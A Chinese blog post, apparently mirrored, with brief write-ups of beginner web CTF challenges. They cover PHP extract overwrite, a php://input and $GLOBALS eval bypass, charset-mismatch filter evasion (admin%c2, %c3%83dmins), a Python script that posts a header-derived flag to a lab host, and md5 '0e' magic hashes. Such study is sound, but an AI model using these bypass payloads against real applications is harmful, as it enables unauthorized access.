zoukankan      html  css  js  c++  java
  • 一些CTF题目--20/9/3

    1.

    看源码

    POST方法。Extract覆盖。 直接url ?参数不行,因为POST参数不在URL上,GET参数才在

    Burpsuite抓包,改成  pass=1&thepassword_123=1,这样就相等了

     

    2.

    题目大概:

    $u=$_GET[‘$user’]

    $f=$_GET[‘$variable’]

    If(isset($u)&&File_get_content($u,’r’)===”im admin”){

       If(preg_match(‘/flag/’))

      Error

       Else

    Eval(“var_dump($$f);”)

    }

    主要是两个地方:===的判断和绕过preg_match(‘/flag/’)

    Burpsuite 右键change request method post

    然后url   …/?user=php://input&variable=globals

    下方输入 im admin

    3.

    <h1><center>If you want to login, please let me get username and password.</center></h1>

    <!-- mysql_query("set names utf8");

    function check_username($str){

    if(preg_match("/^admin$/i",$str)){

    return 1;

    }

    for($i=195;$i<240;$i++){

    if(preg_match("/".chr($i)."/i",$str)){

    return 1;

    }

    }

    return 0;

    }

    function check_password($str){

    if(preg_match("/admins/i",$str)){

    return 1;

    }

    return 0;

    }

    $sql="select * from user where username='$username' and password='$password'"; a/a-->

    题目提示了,用户名adminpassword admins。以及可以用username apassword a先试试。

    只需要绕过检测。

    检测:adminadmins

    绕过admin检测:Username=admin%c2。 除了检测admin还检测195-39ascii字符,而%c2194的范围内。

    绕过password检测: Mysql 默认字符latin1,。页面显示是utf-8。用字符转换的漏洞代替passwordapassword=%c3%83dmins

    5.

     

    先抓包试试

    发到repeatergo。发现reponseflag。但是这个flag每次变化。Base64解码两次每次是不同的一串数字。

    再看题目提示,应该是把这个flag当做message post出去

    速度很快,每次flag不一样,所以用代码(脚本/或者手速特别快)。得到最后的flag

    #coding:utf-8

    import requests

    import base64

    url='http://192.168.8.160/web/fast/'

    s=requests.Session()

    header=s.get(url).headers

    print(header)

    flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #对其进行base64两次解密

    data={'message':flag}

    print(s.post(url=url,data=data).content.decode())

    6.

    鼠标点不到。检查。

    虽然点不到,但是看代码知道点到会跳到 /?key=700url

     

    8

    QNKCDZO md5 编码为0exxxx

    PHP对所有0e开头(16进制)字符串认为相等

    在构造一个0e开头的即可

  • 相关阅读:
    js node 节点 原生遍历 createNodeIterator
    nodejs fs copy本地文件src dst
    axios 请求常用组件,及其错误
    【IntelliJ IDEA学习之三】IntelliJ IDEA常用快捷键
    【IntelliJ IDEA学习之二】IntelliJ IDEA常用配置
    【IntelliJ IDEA学习之一】IntelliJ IDEA安装激活、VM参数
    【python学习案例】python判断自身是否正在运行
    【Linux脚本学习案例】shell脚本多通道并发执行存储过程
    【Activiti学习之四】Activiti API(三)
    【Activiti学习之三】Activiti API(二)
  • 原文地址:https://www.cnblogs.com/lqerio/p/13610159.html
Copyright © 2011-2022 走看看